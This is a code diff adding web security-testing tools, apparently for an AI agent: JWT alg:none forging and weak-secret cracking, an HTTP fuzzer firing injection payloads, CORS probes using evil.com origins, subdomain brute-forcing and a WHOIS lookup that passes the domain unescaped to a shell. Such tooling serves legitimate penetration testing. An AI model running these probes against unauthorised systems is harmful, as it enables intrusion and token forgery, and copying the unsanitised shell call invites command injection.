+ technologies.push({ category: 'Framework', name: body.match(/nuxt/i) ? 'Nuxt.js (Vue)' : 'Vue.js', evidence: 'Vue markers' });
1192
+ }
1193
+ // Angular
1194
+ if (/ng-version|ng-app|angular\.min\.js|ng-controller/i.test(body)) {
1195
+ const vMatch = body.match(/ng-version=["']([^"']+)["']/);
1196
+ technologies.push({ category: 'Framework', name: `Angular${vMatch ? ` v${vMatch[1]}` : ''}`, evidence: 'Angular markers' });
1197
+ }
1198
+ // Svelte
1199
+ if (/svelte|__svelte/i.test(body)) {
1200
+ technologies.push({ category: 'Framework', name: body.match(/sveltekit/i) ? 'SvelteKit' : 'Svelte', evidence: 'Svelte markers' });
1201
+ }
1202
+ // jQuery
1203
+ if (/jquery\.min\.js|jquery[\-.][\d]/i.test(body)) {
1204
+ const jqVersion = body.match(/jquery[.\-](\d+\.\d+\.\d+)/i);
1205
+ technologies.push({ category: 'Library', name: `jQuery${jqVersion ? ` v${jqVersion[1]}` : ''}`, evidence: 'jQuery script' });
1206
+ }
1207
+ // Tailwind CSS
1208
+ if (/tailwindcss|tailwind\.min\.css/i.test(body) || /class=["'][^"']*(?:flex|grid|px-|py-|mt-|mb-|text-|bg-|rounded-)/i.test(body)) {
1209
+ technologies.push({ category: 'CSS', name: 'Tailwind CSS (likely)', evidence: 'Tailwind utility classes' });
1210
+ }
1211
+ // Bootstrap
1212
+ if (/bootstrap\.min|bootstrap\.css|bootstrap\.js/i.test(body)) {
1213
+ technologies.push({ category: 'CSS', name: 'Bootstrap', evidence: 'Bootstrap assets' });
1214
+ }
1215
+ // Google Analytics / Tag Manager
1216
+ if (/gtag|google-analytics|googletagmanager|GA_TRACKING_ID|G-[A-Z0-9]+/i.test(body)) {
1217
+ technologies.push({ category: 'Analytics', name: 'Google Analytics / GTM', evidence: 'GA/GTM script' });
1218
+ }
1219
+ // Hotjar
1220
+ if (/hotjar/i.test(body)) {
1221
+ technologies.push({ category: 'Analytics', name: 'Hotjar', evidence: 'Hotjar script' });
1222
+ }
1223
+ // Stripe
1224
+ if (/js\.stripe\.com/i.test(body)) {
1225
+ technologies.push({ category: 'Payment', name: 'Stripe', evidence: 'Stripe.js' });
1226
+ }
1227
+ // reCAPTCHA
1228
+ if (/recaptcha|google\.com\/recaptcha/i.test(body)) {
1229
+ technologies.push({ category: 'Security', name: 'reCAPTCHA', evidence: 'reCAPTCHA script' });
1230
+ }
1231
+ // GraphQL
1232
+ if (/graphql|\/graphql/i.test(body)) {
1233
+ technologies.push({ category: 'API', name: 'GraphQL', evidence: 'GraphQL endpoint reference' });
1234
+ }
1235
+ // Build results
1236
+ lines.push('### Detected Technologies');
1237
+ lines.push('');
1238
+ if (technologies.length > 0) {
1239
+ // Group by category
1240
+ const grouped = new Map();
1241
+ for (const t of technologies) {
1242
+ const existing = grouped.get(t.category) || [];
1243
+ existing.push(t);
1244
+ grouped.set(t.category, existing);
1245
+ }
1246
+ for (const [category, techs] of grouped) {
1247
+ lines.push(`**${category}**:`);
1248
+ for (const t of techs) {
1249
+ lines.push(` - ${t.name} _(${t.evidence})_`);
1250
+ }
1251
+ lines.push('');
1252
+ }
1253
+ }
1254
+ else {
1255
+ lines.push('No technologies definitively identified.');
1256
+ }
1257
+ // Security headers check
1258
+ lines.push('### Security Headers');
1259
+ lines.push('');
1260
+ const securityHeaders = [
1261
+ 'strict-transport-security',
1262
+ 'content-security-policy',
1263
+ 'x-frame-options',
1264
+ 'x-content-type-options',
1265
+ 'x-xss-protection',
1266
+ 'referrer-policy',
1267
+ 'permissions-policy',
1268
+ ];
1269
+ for (const sh of securityHeaders) {
1270
+ const val = headers[sh];
1271
+ const status = val ? 'present' : 'MISSING';
1272
+ const icon = val ? '+' : '-';
1273
+ lines.push(`[${icon}] **${sh}**: ${val ? `\`${val.slice(0, 100)}\`` : 'Not set'}`);
1274
+ }
1275
+ lines.push('');
1276
+ lines.push(`**HTTP Status**: ${resp.status} ${resp.statusText}`);
1277
+ lines.push(`**Response size**: ${body.length.toLocaleString()} bytes`);
1278
+ }
1279
+ catch (e) {
1280
+ lines.push(`**Error**: ${e.message}`);
1281
+ }
1282
+ return lines.join('\n');
1283
+ },
1284
+ });
1285
+ // ─────────────────────────────────────────────────────────────────────────────
1286
+ // 6. jwt_analyze — JWT token analysis
1287
+ // ─────────────────────────────────────────────────────────────────────────────
1288
+ registerTool({
1289
+ name: 'jwt_analyze',
1290
+ description: 'Analyze JWT tokens. Decode header/payload/signature, verify signatures with a secret, test for algorithm confusion (alg:none), and try common weak secrets.',
1291
+ parameters: {
1292
+ token: { type: 'string', description: 'JWT token to analyze', required: true },
1293
+ action: { type: 'string', description: 'Action: decode, verify, test_none, test_weak', default: 'decode' },
1294
+ secret: { type: 'string', description: 'Secret key for verification (when action=verify)' },
1295
+ },
1296
+ tier: 'free',
1297
+ async execute(args) {
1298
+ const token = String(args.token).trim();
1299
+ const action = String(args.action || 'decode');
1300
+ const secret = args.secret ? String(args.secret) : undefined;
1301
+ const parts = token.split('.');
1302
+ if (parts.length < 2) {
1303
+ return 'Error: Invalid JWT format. Expected header.payload.signature';
1304
+ }
1305
+ let header;
1306
+ let payload;
1307
+ try {
1308
+ header = JSON.parse(base64UrlDecode(parts[0]));
1309
+ payload = JSON.parse(base64UrlDecode(parts[1]));
1310
+ }
1311
+ catch (e) {
1312
+ return `Error: Failed to decode JWT — ${e.message}`;
1313
+ }
1314
+ const lines = ['## JWT Analysis', ''];
1315
+ // Always show decoded content
1316
+ lines.push('### Header');
1317
+ lines.push('```json');
1318
+ lines.push(JSON.stringify(header, null, 2));
1319
+ lines.push('```');
1320
+ lines.push('');
1321
+ lines.push('### Payload');
1322
+ lines.push('```json');
1323
+ lines.push(JSON.stringify(payload, null, 2));
1324
+ lines.push('```');
1325
+ lines.push('');
1326
+ // Check expiration
1327
+ if (payload.exp) {
1328
+ const expDate = new Date(payload.exp * 1000);
1329
+ const now = new Date();
1330
+ const isExpired = expDate < now;
1331
+ lines.push(`**Expiration**: ${expDate.toISOString()} ${isExpired ? '(EXPIRED)' : '(valid)'}`);
1332
+ }
1333
+ if (payload.iat) {
1334
+ lines.push(`**Issued at**: ${new Date(payload.iat * 1000).toISOString()}`);
1335
+ }
1336
+ if (payload.nbf) {
1337
+ lines.push(`**Not before**: ${new Date(payload.nbf * 1000).toISOString()}`);
1338
+ }
1339
+ if (payload.iss)
1340
+ lines.push(`**Issuer**: ${payload.iss}`);
1341
+ if (payload.sub)
1342
+ lines.push(`**Subject**: ${payload.sub}`);
1343
+ if (payload.aud)
1344
+ lines.push(`**Audience**: ${Array.isArray(payload.aud) ? payload.aud.join(', ') : payload.aud}`);
1345
+ lines.push('');
1346
+ lines.push('### Signature');
1347
+ lines.push(`**Algorithm**: ${header.alg || '(none)'}`);
1348
+ lines.push(`**Signature (raw)**: \`${parts[2] ? parts[2].slice(0, 50) + (parts[2].length > 50 ? '...' : '') : '(empty)'}\``);
1349
+ lines.push('');
1350
+ if (action === 'verify' && secret) {
1351
+ // Verify signature
1352
+ const alg = (header.alg || '').toLowerCase();
1353
+ let hashAlg = null;
1354
+ if (alg === 'hs256')
1355
+ hashAlg = 'sha256';
1356
+ else if (alg === 'hs384')
1357
+ hashAlg = 'sha384';
1358
+ else if (alg === 'hs512')
1359
+ hashAlg = 'sha512';
1360
+ if (!hashAlg) {
1361
+ lines.push(`**Verification**: Cannot verify — algorithm "${header.alg}" requires asymmetric key (RS256/ES256), not a shared secret.`);
1362
+ }
1363
+ else {
1364
+ const signingInput = `${parts[0]}.${parts[1]}`;
1365
+ const expectedSig = createHmac(hashAlg, secret)
1366
+ .update(signingInput)
1367
+ .digest('base64url');
1368
+ const isValid = expectedSig === parts[2];
1369
+ lines.push(`### Verification Result`);
1370
+ lines.push('');
1371
+ lines.push(`**Status**: ${isValid ? 'VALID — signature matches' : 'INVALID — signature does not match'}`);
1372
+ lines.push(`**Expected signature**: \`${expectedSig}\``);
1373
+ lines.push(`**Actual signature**: \`${parts[2]}\``);
1374
+ }
1375
+ }
1376
+ if (action === 'test_none') {
1377
+ lines.push('### Algorithm Confusion Test (alg: none)');
1378
+ lines.push('');
1379
+ lines.push('The "none" algorithm attack exploits servers that fail to validate the algorithm field.');
1380
+ lines.push('');
1381
+ // Generate tokens with alg:none
1382
+ const noneHeaders = [
1383
+ { alg: 'none' },
1384
+ { alg: 'None' },
1385
+ { alg: 'NONE' },
1386
+ { alg: 'nOnE' },
1387
+ ];
1388
+ lines.push('**Test tokens** (send these to the target and see if they are accepted):');
1389
+ lines.push('');
1390
+ for (const nh of noneHeaders) {
1391
+ const encodedHeader = base64UrlEncode(JSON.stringify(nh));
1392
+ const noneToken = `${encodedHeader}.${parts[1]}.`;
1393
+ lines.push(`\`alg: ${nh.alg}\`: \`${noneToken}\``);
1394
+ }
1395
+ lines.push('');
1396
+ lines.push('If any of these tokens are accepted, the server is vulnerable to algorithm confusion.');
1397
+ }
1398
+ if (action === 'test_weak') {
1399
+ lines.push('### Weak Secret Test');
1400
+ lines.push('');
1401
+ const alg = (header.alg || '').toLowerCase();
1402
+ let hashAlg = null;
1403
+ if (alg === 'hs256')
1404
+ hashAlg = 'sha256';
1405
+ else if (alg === 'hs384')
1406
+ hashAlg = 'sha384';
1407
+ else if (alg === 'hs512')
1408
+ hashAlg = 'sha512';
1409
+ if (!hashAlg) {
1410
+ lines.push(`Cannot test weak secrets — algorithm "${header.alg}" is not HMAC-based.`);
1411
+ }
1412
+ else {
1413
+ const weakSecrets = [
1414
+ 'secret', 'password', '123456', 'key', 'admin', 'test',
1415
+ 'default', 'jwt_secret', 'my_secret', 'changeme', 'supersecret',
1416
+ 'your-256-bit-secret', 'your-384-bit-secret', 'your-512-bit-secret',
1417
+ 'shhhhh', 'jwt', 'token', 'private', 'public', 'hmac',
1418
+ 'apikey', 'api_key', 'app_secret', 'master_key', 'signing_key',
1419
+ 'HS256', 'HS384', 'HS512', 'secretkey', 'secret_key',
1420
+ 'mysecret', 'my-secret', 'change_me', 'notsecret', 'devkey',
1421
+ '', ' ', 'null', 'undefined', 'none', 'true', 'false',
1422
+ '0', '1', 'a', 'abc', 'aaa', '111', '000',
1423
+ ];
1424
+ const signingInput = `${parts[0]}.${parts[1]}`;
1425
+ let found = false;
1426
+ for (const ws of weakSecrets) {
1427
+ const expectedSig = createHmac(hashAlg, ws)
1428
+ .update(signingInput)
1429
+ .digest('base64url');
1430
+ if (expectedSig === parts[2]) {
1431
+ lines.push(`**CRACKED! Secret found**: \`${ws || '(empty string)'}\``);
1432
+ lines.push('');
1433
+ lines.push('This JWT is signed with a weak/common secret. Any attacker can forge tokens.');
1434
+ found = true;
1435
+ break;
1436
+ }
1437
+ }
1438
+ if (!found) {
1439
+ lines.push(`Tested ${weakSecrets.length} common secrets — none matched.`);
1440
+ lines.push('The secret appears to be non-trivial. Consider longer wordlist or hashcat for brute force.');
1441
+ }
1442
+ }
1443
+ }
1444
+ return lines.join('\n');
1445
+ },
1446
+ });
1447
+ // ─────────────────────────────────────────────────────────────────────────────
1448
+ // 7. http_fuzz — HTTP parameter fuzzing
1449
+ // ─────────────────────────────────────────────────────────────────────────────
1450
+ registerTool({
1451
+ name: 'http_fuzz',
1452
+ description: 'Fuzz HTTP parameters with SQLi, XSS, path traversal, and command injection payloads. Sends requests and analyzes responses for vulnerability indicators (error messages, reflected input, timing anomalies).',
1453
+ parameters: {
1454
+ url: { type: 'string', description: 'URL to fuzz', required: true },
1455
+ method: { type: 'string', description: 'HTTP method: GET or POST', default: 'GET' },
1456
+ param: { type: 'string', description: 'Parameter name to fuzz', required: true },
1457
+ payloads: { type: 'string', description: 'Payload type: sqli, xss, traversal, command, custom', default: 'sqli' },
1458
+ custom_payloads: { type: 'string', description: 'Comma-separated custom payloads' },
1459
+ },
1460
+ tier: 'free',
1461
+ timeout: 300_000,
1462
+ async execute(args) {
1463
+ const baseUrl = String(args.url);
1464
+ const method = String(args.method || 'GET').toUpperCase();
1465
+ const param = String(args.param);
1466
+ const payloadType = String(args.payloads || 'sqli');
1467
+ let payloads;
1468
+ switch (payloadType) {
1469
+ case 'sqli':
1470
+ payloads = SQLI_PAYLOADS;
1471
+ break;
1472
+ case 'xss':
1473
+ payloads = XSS_PAYLOADS;
1474
+ break;
1475
+ case 'traversal':
1476
+ payloads = TRAVERSAL_PAYLOADS;
1477
+ break;
1478
+ case 'command':
1479
+ payloads = COMMAND_PAYLOADS;
1480
+ break;
1481
+ case 'custom':
1482
+ payloads = String(args.custom_payloads || '').split(',').map(p => p.trim()).filter(Boolean);
1483
+ if (payloads.length === 0)
1484
+ return 'Error: custom_payloads required when payloads="custom"';
1485
+ break;
1486
+ default:
1487
+ payloads = SQLI_PAYLOADS;
1488
+ }
1489
+ const lines = [
1490
+ '## HTTP Fuzzing Results',
1491
+ '',
1492
+ `**Target**: ${baseUrl}`,
1493
+ `**Method**: ${method}`,
1494
+ `**Parameter**: ${param}`,
1495
+ `**Payload type**: ${payloadType}`,
1496
+ `**Total payloads**: ${payloads.length}`,
1497
+ '',
1498
+ ];
1499
+ // First, get baseline response
1500
+ let baselineStatus = 0;
1501
+ let baselineLength = 0;
1502
+ let baselineTime = 0;
1503
+ try {
1504
+ const start = Date.now();
1505
+ const bUrl = method === 'GET'
1506
+ ? `${baseUrl}${baseUrl.includes('?') ? '&' : '?'}${encodeURIComponent(param)}=test`
1507
+ : baseUrl;
1508
+ const bOpts = method === 'POST'
1509
+ ? { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `${encodeURIComponent(param)}=test` }
1510
+ : {};
1511
+ const bResp = await fetchWithTimeout(bUrl, bOpts, 10000);
1512
+ baselineStatus = bResp.status;
1513
+ const bBody = await bResp.text();
1514
+ baselineLength = bBody.length;
1515
+ baselineTime = Date.now() - start;
1516
+ }
1517
+ catch {
1518
+ // baseline failed, continue anyway
1519
+ }
1520
+ lines.push(`**Baseline**: status=${baselineStatus}, length=${baselineLength}, time=${baselineTime}ms`);
1521
+ lines.push('');
1522
+ // SQL error patterns
1523
+ const sqlErrors = [
1524
+ /SQL syntax/i, /mysql_fetch/i, /ORA-\d{5}/i, /pg_query/i, /sqlite3?_/i,
1525
+ /ODBC.*Driver/i, /syntax error.*SQL/i, /Unclosed quotation mark/i,
1526
+ /quoted string not properly terminated/i, /Warning.*mysql/i,
1527
+ /Microsoft.*ODBC/i, /Microsoft.*SQL.*Server/i, /PostgreSQL.*ERROR/i,
1528
+ /unterminated.*string/i, /invalid input syntax/i, /near.*syntax/i,
1529
+ /org\.hibernate/i, /javax\.persistence/i,
1530
+ ];
1531
+ // XSS reflection check
1532
+ const xssMarker = 'kbot_xss_test_marker';
1533
+ const results = [];
1534
+ const interesting = [];
1535
+ for (const payload of payloads) {
1536
+ try {
1537
+ const start = Date.now();
1538
+ let requestUrl;
1539
+ let requestOpts = {};
1540
+ if (method === 'GET') {
1541
+ requestUrl = `${baseUrl}${baseUrl.includes('?') ? '&' : '?'}${encodeURIComponent(param)}=${encodeURIComponent(payload)}`;
1542
+ }
1543
+ else {
1544
+ requestUrl = baseUrl;
1545
+ requestOpts = {
1546
+ method: 'POST',
1547
+ headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
1548
+ body: `${encodeURIComponent(param)}=${encodeURIComponent(payload)}`,
1549
+ };
1550
+ }
1551
+ const resp = await fetchWithTimeout(requestUrl, requestOpts, 10000);
1552
+ const body = await resp.text();
1553
+ const elapsed = Date.now() - start;
1554
+ const flags = [];
1555
+ // Check for SQL errors
1556
+ if (payloadType === 'sqli') {
1557
+ for (const pattern of sqlErrors) {
1558
+ if (pattern.test(body)) {
1559
+ flags.push('SQL error detected');
1560
+ break;
1561
+ }
1562
+ }
1563
+ // Check for different response lengths (potential boolean-based blind SQLi)
1564
+ if (Math.abs(body.length - baselineLength) > baselineLength * 0.3 && baselineLength > 0) {
1565
+ flags.push(`Response length anomaly (${body.length} vs baseline ${baselineLength})`);
1566
+ }
1567
+ // Time-based detection
1568
+ if (elapsed > baselineTime + 4000) {
1569
+ flags.push(`Time anomaly (${elapsed}ms vs baseline ${baselineTime}ms) — possible time-based blind SQLi`);
1570
+ }
1571
+ }
1572
+ // Check for reflected XSS
1573
+ if (payloadType === 'xss') {
1574
+ // Check if payload is reflected without encoding
1575
+ if (body.includes(payload)) {
1576
+ flags.push('Payload reflected without encoding');
1577
+ }
1578
+ // Check for partial reflection
1579
+ const scriptTag = payload.match(/<script[^>]*>(.*?)<\/script>/i);
1580
+ if (scriptTag && body.includes(scriptTag[0])) {
1581
+ flags.push('Script tag reflected');
1582
+ }
1583
+ }
1584
+ // Path traversal indicators
1585
+ if (payloadType === 'traversal') {
1586
+ if (/root:.*:0:0/i.test(body))
1587
+ flags.push('/etc/passwd content detected');
1588
+ if (/\[boot loader\]/i.test(body))
1589
+ flags.push('boot.ini content detected');
1590
+ if (/\[extensions\]/i.test(body))
1591
+ flags.push('Windows config content detected');
1592
+ }
1593
+ // Command injection indicators
1594
+ if (payloadType === 'command') {
1595
+ if (/uid=\d+.*gid=\d+/i.test(body))
1596
+ flags.push('Command output detected (id)');
1597
+ if (/root:.*:0:0/i.test(body))
1598
+ flags.push('Command output detected (passwd)');
1599
+ if (/Linux|Darwin|Windows/i.test(body) && elapsed > baselineTime + 4000) {
1600
+ flags.push('Potential command execution (timing + OS info)');
1601
+ }
1602
+ }
1603
+ // Status code anomalies
1604
+ if (resp.status === 500)
1605
+ flags.push('Internal Server Error (500)');
1606
+ if (resp.status === 403 && baselineStatus !== 403)
1607
+ flags.push('Forbidden (403) — WAF triggered?');
1608
+ const result = {
1609
+ payload,
1610
+ status: resp.status,
1611
+ length: body.length,
1612
+ time: elapsed,
1613
+ interesting: flags,
1614
+ };
1615
+ results.push(result);
1616
+ if (flags.length > 0)
1617
+ interesting.push(result);
1618
+ }
1619
+ catch (e) {
1620
+ results.push({
1621
+ payload,
1622
+ status: 0,
1623
+ length: 0,
1624
+ time: 0,
1625
+ interesting: [`Error: ${e.message}`],
1626
+ });
1627
+ }
1628
+ }
1629
+ // Report interesting findings
1630
+ if (interesting.length > 0) {
1631
+ lines.push(`### Interesting Findings (${interesting.length}/${results.length} payloads)`);
1632
+ lines.push('');
1633
+ lines.push('| # | Payload | Status | Length | Time | Flags |');
1634
+ lines.push('|---|---------|--------|--------|------|-------|');
1635
+ for (let i = 0; i < interesting.length; i++) {
1636
+ const r = interesting[i];
1637
+ const payloadDisplay = r.payload.length > 40 ? r.payload.slice(0, 40) + '...' : r.payload;
1638
+ lines.push(`| ${i + 1} | \`${payloadDisplay}\` | ${r.status} | ${r.length} | ${r.time}ms | ${r.interesting.join('; ')} |`);
1639
+ }
1640
+ }
1641
+ else {
1642
+ lines.push('### No Interesting Findings');
1643
+ lines.push('');
1644
+ lines.push('All payloads returned normal responses. The parameter may be properly sanitized, or the application may be using a WAF.');
1645
+ }
1646
+ lines.push('');
1647
+ lines.push(`**Summary**: Tested ${results.length} payloads, ${interesting.length} showed interesting behavior.`);
1648
+ return lines.join('\n');
1649
+ },
1650
+ });
1651
+ // ─────────────────────────────────────────────────────────────────────────────
1652
+ // 8. cors_check — CORS misconfiguration detection
1653
+ // ─────────────────────────────────────────────────────────────────────────────
1654
+ registerTool({
1655
+ name: 'cors_check',
1656
+ description: 'Detect CORS misconfigurations. Tests for arbitrary origin reflection, null origin acceptance, credentials with wildcard, and subdomain wildcard matching.',
1657
+ parameters: {
1658
+ url: { type: 'string', description: 'URL to check for CORS misconfigurations', required: true },
1659
+ },
1660
+ tier: 'free',
1661
+ timeout: 30_000,
1662
+ async execute(args) {
1663
+ const url = String(args.url).startsWith('http') ? String(args.url) : `https://${args.url}`;
1664
+ const lines = [
1665
+ '## CORS Misconfiguration Check',
1666
+ '',
1667
+ `**Target**: ${url}`,
1668
+ '',
1669
+ ];
1670
+ const tests = [
1671
+ { name: 'Arbitrary Origin Reflection', origin: 'https://evil.com', description: 'Checks if the server reflects any Origin header value' },
1672
+ { name: 'Null Origin', origin: 'null', description: 'Checks if the server accepts Origin: null (can be sent via sandboxed iframes)' },
1673
+ { name: 'Subdomain Wildcard', origin: `https://evil.${new URL(url).hostname}`, description: 'Checks if the server accepts subdomains of the target domain' },
1674
+ { name: 'HTTP Downgrade', origin: `http://${new URL(url).hostname}`, description: 'Checks if HTTPS endpoint accepts HTTP origin' },
1675
+ { name: 'Prefix Match', origin: `https://${new URL(url).hostname}.evil.com`, description: 'Checks if origin validation uses prefix matching' },
1676
+ { name: 'Suffix Match', origin: `https://evil-${new URL(url).hostname}`, description: 'Checks if origin validation uses suffix matching' },
1677
+ { name: 'Backtick Bypass', origin: `https://evil.com\`.${new URL(url).hostname}`, description: 'Checks for backtick injection in origin validation' },
1678
+ ];
1679
+ let vulnerabilities = 0;
1680
+ for (const test of tests) {
1681
+ try {
1682
+ const headers = {
1683
+ 'User-Agent': 'Mozilla/5.0',
1684
+ };
1685
+ if (test.origin) {
1686
+ headers['Origin'] = test.origin;
1687
+ }
1688
+ const resp = await fetchWithTimeout(url, {
1689
+ method: 'OPTIONS',
1690
+ headers,
1691
+ }, 10000);
1692
+ const acao = resp.headers.get('access-control-allow-origin');
1693
+ const acac = resp.headers.get('access-control-allow-credentials');
1694
+ const acam = resp.headers.get('access-control-allow-methods');
1695
+ const acah = resp.headers.get('access-control-allow-headers');
1696
+ let vulnerable = false;
1697
+ const findings = [];
1698
+ if (acao === test.origin) {
1699
+ vulnerable = true;
1700
+ findings.push(`Server reflects the Origin header: \`${acao}\``);
1701
+ }
1702
+ if (acao === '*' && acac === 'true') {
1703
+ vulnerable = true;
1704
+ findings.push('Wildcard origin (*) with credentials allowed — browser will block but indicates misconfiguration');
1705
+ }
1706
+ if (acao === '*') {
1707
+ findings.push('Wildcard origin (*) — any site can read responses (without credentials)');
1708
+ }
1709
+ if (acac === 'true' && acao === test.origin) {
1710
+ vulnerable = true;
1711
+ findings.push('Credentials allowed with reflected origin — critical vulnerability');
1712
+ }
1713
+ const status = vulnerable ? 'VULNERABLE' : (findings.length > 0 ? 'WARNING' : 'OK');
1714
+ if (vulnerable)
1715
+ vulnerabilities++;
1716
+ lines.push(`### ${test.name} — ${status}`);
1717
+ lines.push(`_${test.description}_`);
1718
+ lines.push('');
1719
+ lines.push(`- Origin sent: \`${test.origin}\``);
1720
+ lines.push(`- ACAO: \`${acao || '(none)'}\``);
1721
+ lines.push(`- ACAC: \`${acac || '(none)'}\``);
1722
+ if (acam)
1723
+ lines.push(`- ACAM: \`${acam}\``);
1724
+ if (acah)
1725
+ lines.push(`- ACAH: \`${acah}\``);
1726
+ if (findings.length > 0) {
1727
+ for (const f of findings)
1728
+ lines.push(`- **${f}**`);
1729
+ }
1730
+ lines.push('');
1731
+ }
1732
+ catch (e) {
1733
+ lines.push(`### ${test.name} — ERROR`);
1734
+ lines.push(`- ${e.message}`);
1735
+ lines.push('');
1736
+ }
1737
+ }
1738
+ lines.push('---');
1739
+ lines.push(`### Summary: ${vulnerabilities} vulnerabilities found`);
1740
+ if (vulnerabilities > 0) {
1741
+ lines.push('');
1742
+ lines.push('**Impact**: CORS misconfigurations can allow attackers to read sensitive data from authenticated sessions.');
1743
+ lines.push('**Fix**: Validate origins against a strict allowlist. Never reflect arbitrary origins with credentials enabled.');
1744
+ }
1745
+ return lines.join('\n');
1746
+ },
1747
+ });
1748
+ // ─────────────────────────────────────────────────────────────────────────────
1749
+ // 9. subdomain_enum — Subdomain discovery
1750
+ // ─────────────────────────────────────────────────────────────────────────────
1751
+ registerTool({
1752
+ name: 'subdomain_enum',
1753
+ description: 'Discover subdomains by DNS brute-forcing. Uses wordlists of 100 (small), 500 (medium), or 2000 (large) common subdomain names. Returns found subdomains with their IP addresses.',
1754
+ parameters: {
1755
+ domain: { type: 'string', description: 'Domain to enumerate subdomains for', required: true },
1756
+ wordlist: { type: 'string', description: 'Wordlist size: small (100), medium (500), large (2000)', default: 'small' },
1757
+ },
1758
+ tier: 'free',
1759
+ timeout: 300_000,
1760
+ async execute(args) {
1761
+ const domain = String(args.domain).replace(/^https?:\/\//, '').replace(/\/.*$/, '').trim();
1762
+ const wordlistSize = String(args.wordlist || 'small');
1763
+ let wordlist;
1764
+ switch (wordlistSize) {
1765
+ case 'small':
1766
+ wordlist = COMMON_SUBDOMAINS_SMALL;
1767
+ break;
1768
+ case 'medium':
1769
+ wordlist = COMMON_SUBDOMAINS_MEDIUM;
1770
+ break;
1771
+ case 'large':
1772
+ wordlist = COMMON_SUBDOMAINS_LARGE;
1773
+ break;
1774
+ default: wordlist = COMMON_SUBDOMAINS_SMALL;
1775
+ }
1776
+ // Deduplicate
1777
+ wordlist = [...new Set(wordlist)];
1778
+ const lines = [
1779
+ '## Subdomain Enumeration',
1780
+ '',
1781
+ `**Domain**: ${domain}`,
1782
+ `**Wordlist**: ${wordlistSize} (${wordlist.length} entries)`,
1783
+ '',
1784
+ ];
1785
+ const resolver = new Resolver();
1786
+ resolver.setServers(['8.8.8.8', '1.1.1.1']);
1787
+ const found = [];
1788
+ const batchSize = 25;
1789
+ const startTime = Date.now();
1790
+ for (let i = 0; i < wordlist.length; i += batchSize) {
1791
+ const batch = wordlist.slice(i, i + batchSize);
1792
+ const results = await Promise.allSettled(batch.map(async (sub) => {
1793
+ const fqdn = `${sub}.${domain}`;
1794
+ const ips = await resolver.resolve4(fqdn);
1795
+ let ipv6 = [];
1796
+ try {
1797
+ ipv6 = await resolver.resolve6(fqdn);
1798
+ }
1799
+ catch { /* no AAAA */ }
1800
+ return { subdomain: fqdn, ips, ipv6 };
1801
+ }));
1802
+ for (const r of results) {
1803
+ if (r.status === 'fulfilled') {
1804
+ found.push(r.value);
1805
+ }
1806
+ }
1807
+ }
1808
+ const elapsed = Date.now() - startTime;
1809
+ if (found.length > 0) {
1810
+ lines.push(`### Found ${found.length} subdomains (in ${(elapsed / 1000).toFixed(1)}s)`);
1811
+ lines.push('');
1812
+ lines.push('| Subdomain | IPv4 | IPv6 |');
1813
+ lines.push('|-----------|------|------|');
1814
+ for (const f of found) {
1815
+ lines.push(`| ${f.subdomain} | ${f.ips.join(', ')} | ${f.ipv6 && f.ipv6.length > 0 ? f.ipv6.join(', ') : '-'} |`);
1816
+ }
1817
+ // Group by IP to find shared hosting
1818
+ const ipMap = new Map();
1819
+ for (const f of found) {
1820
+ for (const ip of f.ips) {
1821
+ const existing = ipMap.get(ip) || [];
1822
+ existing.push(f.subdomain);
1823
+ ipMap.set(ip, existing);
1824
+ }
1825
+ }
1826
+ const sharedIps = [...ipMap.entries()].filter(([_, subs]) => subs.length > 1);
1827
+ if (sharedIps.length > 0) {
1828
+ lines.push('');
1829
+ lines.push('### Shared IPs (potential load balancer / shared hosting)');
1830
+ lines.push('');
1831
+ for (const [ip, subs] of sharedIps) {
1832
+ lines.push(`- **${ip}**: ${subs.join(', ')}`);
1833
+ }
1834
+ }
1835
+ }
1836
+ else {
1837
+ lines.push(`No subdomains found (checked ${wordlist.length} entries in ${(elapsed / 1000).toFixed(1)}s).`);
1838
+ }
1839
+ lines.push('');
1840
+ lines.push(`**Speed**: ${Math.round(wordlist.length / (elapsed / 1000))} lookups/sec`);
1841
+ return lines.join('\n');
1842
+ },
1843
+ });
1844
+ // ─────────────────────────────────────────────────────────────────────────────
1845
+ // 10. whois_lookup — Domain registration info
1846
+ // ─────────────────────────────────────────────────────────────────────────────
1847
+ registerTool({
1848
+ name: 'whois_lookup',
1849
+ description: 'Look up domain registration information using the whois command. Returns registrar, creation/expiration dates, nameservers, and registration status.',
1850
+ parameters: {
1851
+ domain: { type: 'string', description: 'Domain to look up', required: true },
1852
+ },
1853
+ tier: 'free',
1854
+ timeout: 30_000,
1855
+ async execute(args) {
1856
+ const domain = String(args.domain).replace(/^https?:\/\//, '').replace(/\/.*$/, '').trim();
1857
+ const lines = [
1858
+ '## WHOIS Lookup',
1859
+ '',
1860
+ `**Domain**: ${domain}`,
1861
+ '',
1862
+ ];
1863
+ try {
1864
+ const raw = execSync(`whois ${domain} 2>/dev/null`, { maxBuffer: 1_000_000, timeout: 15000 }).toString();
1865
+ // Parse key fields
1866
+ const fields = {};
1867
+ const fieldPatterns = [
1868
+ ['Registrar', /Registrar:\s*(.+)/i],
1869
+ ['Registrar URL', /Registrar URL:\s*(.+)/i],
1870
+ ['Created', /Creat(?:ion|ed)\s*(?:Date)?:\s*(.+)/i],
1871
+ ['Updated', /Updated?\s*(?:Date)?:\s*(.+)/i],
1872
+ ['Expires', /Expir(?:y|ation)\s*(?:Date)?:\s*(?:Registry\s+)?(.+)/i],
1873
+ ['Status', /(?:Domain\s+)?Status:\s*(.+)/i],
1874
+ ['Registrant', /Registrant\s*(?:Name|Organization):\s*(.+)/i],
1875
+ ['Registrant Country', /Registrant\s*Country:\s*(.+)/i],
1876
+ ['Admin Email', /(?:Admin|Registrant)\s*Email:\s*(.+)/i],
1877
+ ['DNSSEC', /DNSSEC:\s*(.+)/i],
1878
+ ];
1879
+ for (const [label, pattern] of fieldPatterns) {
1880
+ const allMatches = raw.match(new RegExp(pattern.source, 'gim'));
1881
+ if (allMatches) {
1882
+ const match = allMatches[0].match(pattern);
1883
+ if (match) {
1884
+ if (label === 'Status') {
1885
+ // Collect all status lines
1886
+ const statuses = allMatches
1887
+ .map(m => m.match(pattern)?.[1]?.trim())
1888
+ .filter(Boolean);
1889
+ fields[label] = [...new Set(statuses)].join(', ');
1890
+ }
1891
+ else {
1892
+ fields[label] = match[1].trim();
1893
+ }
1894
+ }
1895
+ }
1896
+ }
1897
+ // Extract nameservers
1898
+ const nsMatches = raw.match(/Name\s*Server:\s*(.+)/gi);
1899
+ const nameservers = nsMatches
1900
